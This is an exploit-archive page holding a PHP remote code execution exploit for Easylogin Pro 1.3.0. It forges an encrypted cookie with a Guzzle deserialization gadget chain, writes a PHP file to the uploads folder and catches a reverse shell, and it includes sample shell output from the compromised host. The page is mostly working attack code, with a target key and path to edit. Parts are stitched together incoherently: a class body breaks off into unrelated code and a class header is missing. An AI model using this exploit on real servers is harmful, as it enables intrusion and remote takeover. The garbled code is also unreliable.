Exploits / Vulnerability Discovered : 2018-08-20 |
Type : remote |
Platform : php
This exploit / vulnerability Easylogin pro 1.3.0 encryptor.php unserialize remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/php
<?php
/*
Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability
Version: 1.3.0
Platform: Ubuntu Server 18.04.1
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
CVE: CVE-2018-15576
Notes:
======
- This is not really a security issue I guess, because you need to know the key.
But a simple disclosure bug could mean its game over for Easylogin Pro
- You will need PHP with threading support to run this exploit
- Laravel + Guzzle === lol
Example:
========
mr_me@pluto:~$ php -m | grep pthreads && php --version
pthreads
PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies
mr_me@pluto:~$ ./e.php
Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
----------------------------------------------------
Usage: php ./e.php -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337
Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
bug found by: @f99942
tekniq/exploit by: @steventseeley (mr_me)
(+) snap...
(+) crackle...
(+) pop!
(+) connectback from 172.16.175.137 via port 41860
www-data@target:/var/www/html/uploads$ id;uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
www-data@target:/var/www/html/uploads$ ls -la
total 12
drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .
drwxr-xr-x 9 www-data www-data 4096 Aug 9 14:49 ..
-rwxrwxrwx 1 root root 13 Dec 12 2017 .gitignore
www-data@target:/var/www/html/uploads$ php --version
PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul 4 2018 16:55:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
www-data@target:/var/www/html/uploads$
*/
namespace GuzzleHttp\Cookie;
// change these to work against your target
$key = "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";
$path = "/var/www/html";
class Encrypter {
protected $key;
protected $cipher;
public function __construct($key, $cipher = 'AES-256-CBC'){
$key = (string) $key;
$this->key = $key;
$this->cipher = $cipher;
}
public function encrypt($value, $serialize = true){
$iv = random_bytes(openssl_cipher_iv_length($this->cipher));
$value = openssl_encrypt(
$serialize ? serialize($value) : $value,
$this->cipher, $this->key, 0, $iv
);
if ($value === false) {
throw new EncryptException('Could not encrypt the data.');
}
$mac = $this->hash($iv = base64_encode($iv), $value);
$json = json_encode(compact('iv', 'value', 'mac'));
if (json_last_error() !== JSON_ERROR_NONE) {
throw new EncryptException('Could not encrypt the data.');
}
return base64_encode($json);
}
public function encryptString($value){
return $this->encrypt($value, false);
}
protected function hash($iv, $value){
return hash_hmac('sha256', $iv.$value, $this->key);
}
}
// pop chain
interface ToArrayInterface {}
class SetCookie implements ToArrayInterface {
private $data;
public function __construct(array $data = []){
$this->data = $data;
}
}
class CookieJar implements ToArrayInterface {
private $cookies;
public function setCookie(SetCookie $cookie){
$this->cookies = array($cookie);
}
}
class FileCookieJar extends CookieJar {
private $filename;
// its possible to leak the path if app.php contains 'debug' => true
// also, uploads is writable by default for avatars
$fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);
$e = new Encrypter($this->key);
$this->p = $e->encryptString(serialize($fcj));
// hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login
$c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a14228642391e=$this->p"));
if ($c === 500){
print "(+) pop!\r\n";
// start our listener
$s = new Shell($this->cbport);
$s->start();
public function __construct($cbp){
$this->cbport = $cbp;
}
public function run(){
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$ret = @socket_bind($sock, 0, (int) $this->cbport);
$ret = @socket_listen($sock, 5);
$msgsock = @socket_accept($sock);
@socket_close($sock);
$start = true;
$fp = fopen("php://stdin", "r");
while(false !== @socket_select($r = array($msgsock))){
if ($start === true){
if (socket_getpeername($r[0], $a, $p) === true){
print "(+) connectback from $a via port $p\r\n";
$s = $this->exec_cmd($msgsock, "echo `whoami`@`hostname`:\n");
}
}
$start = false;
// the pretty shells illusion
print "\r\n".$s.$this->exec_cmd($msgsock, "echo `pwd`\n")."$ ";
// get our command...
$c = fgets($fp);
// if the attacker enters nothing, continue...
if (strpos("\n", $c) === 0){
continue;
}
if (strpos($c, "cd") === false){
print $this->exec_cmd($msgsock, $c);
}elseif (strpos($c, "cd") !== false){
$this->exec_cmd($msgsock, $c, false);
}
if(in_array($c, array("exit\n", "quit\n"))){
break;
}
}
fclose($fp);
}
private function exec_cmd($c, $cmd, $ret=true){
// send our command to the reverse shell
@socket_write($c, $cmd, strlen($cmd));
if ($ret == true){
// we don't care to get the shell prompt back...
$resp = trim(@socket_read($c, 2048, PHP_BINARY_READ));
if ($resp === "NULL"){
return "";
}else{
return $resp;
}
}
}
}
print_r("\r\nEasylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)\r\n");
if ($argc < 3) {
print_r("
----------------------------------------------------
Usage: php ".$argv[0]." -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ".$argv[0]." -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
"); die; }